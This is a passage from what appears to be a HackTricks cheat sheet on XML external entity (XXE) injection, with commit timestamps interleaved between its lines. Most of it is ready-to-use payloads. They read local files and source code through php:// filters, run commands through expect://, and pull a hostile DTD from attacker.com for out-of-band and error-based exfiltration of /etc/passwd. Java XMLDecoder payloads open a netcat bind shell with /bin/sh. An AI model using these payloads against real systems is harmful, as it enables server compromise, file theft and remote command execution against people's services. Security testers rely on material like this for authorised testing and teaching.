%exfil;
```
2022-09-30 10:43:59 +00:00
## PHP Wrappers
2022-09-30 10:43:59 +00:00
### Base64
**Extract** _**index.php**_
```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
2022-09-30 10:43:59 +00:00
#### **Extract external resource**
```markup
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
```
2022-09-30 10:43:59 +00:00
### Remote code execution
**If PHP "expect" module is loaded**
```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
```
2022-09-30 10:43:59 +00:00
## **SOAP - XEE**
```markup
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
```
2022-09-30 10:43:59 +00:00
## XLIFF - XXE
2021-07-20 10:48:25 +00:00
This section was taken from [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
2021-07-20 10:48:25 +00:00
According to the [Wikipedia](https://en.wikipedia.org/wiki/XLIFF):
> XLIFF (XML Localization Interchange File Format) is an XML-based bitext format created to standardize the way localizable data are passed between and among tools during a localization process and a common format for CAT tool exchange.
2021-07-20 10:48:25 +00:00
2022-09-30 10:43:59 +00:00
### Blind request
2021-07-20 10:48:25 +00:00
```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
The server response with an error:
```javascript
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
But we got a hit on Burp Collaborator.
2022-09-30 10:43:59 +00:00
### Exfiltrating Data via Out of Band
2021-07-20 10:48:25 +00:00
```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Based on the displayed User Agent returned by burp collaborator, it appears that it is using **Java 1.8**. One of the problems when exploiting XXE on this version of Java is **were unable to obtain the files containing a `New Line`** such as `/etc/passwd` using the Out of Band technique.
2022-09-30 10:43:59 +00:00
### Exfiltrating Data via Error Based
2021-07-20 10:48:25 +00:00
DTD File:
```markup
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
```
Server Response:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Great! The `non-exist` file is reflected in the Error messages. Next is adding the File Content.
DTD File:
```markup
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
```
And the content of the file was successfully **printed in the output of the error sent via HTTP**.
2022-09-30 10:43:59 +00:00
## RSS - XEE
Valid XML with RSS format to exploit an XXE vulnerability.
2022-09-30 10:43:59 +00:00
### Ping back
Simple HTTP request to attackers server
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2022-09-30 10:43:59 +00:00
### Read file
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2022-09-30 10:43:59 +00:00
### Read source code
Using PHP base64 filter
```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
```
2022-09-30 10:43:59 +00:00
## Java XMLDecoder XEE to RCE
XMLDecoder is a Java class that creates objects based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method **readObject**, he will instantly gain code execution on the server.
2022-09-30 10:43:59 +00:00
### Using Runtime().exec()
```markup
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
```
2022-09-30 10:43:59 +00:00
### ProcessBuilder
```markup
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
```
2022-09-30 10:43:59 +00:00
## Tools
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
2022-09-30 10:43:59 +00:00
## More resources
[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\
[https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
2022-04-28 16:01:33 +00:00
<details>
2024-02-03 14:45:32 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-03 14:45:32 +00:00
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
2022-09-30 10:43:59 +00:00
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-02-03 14:45:32 +00:00
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>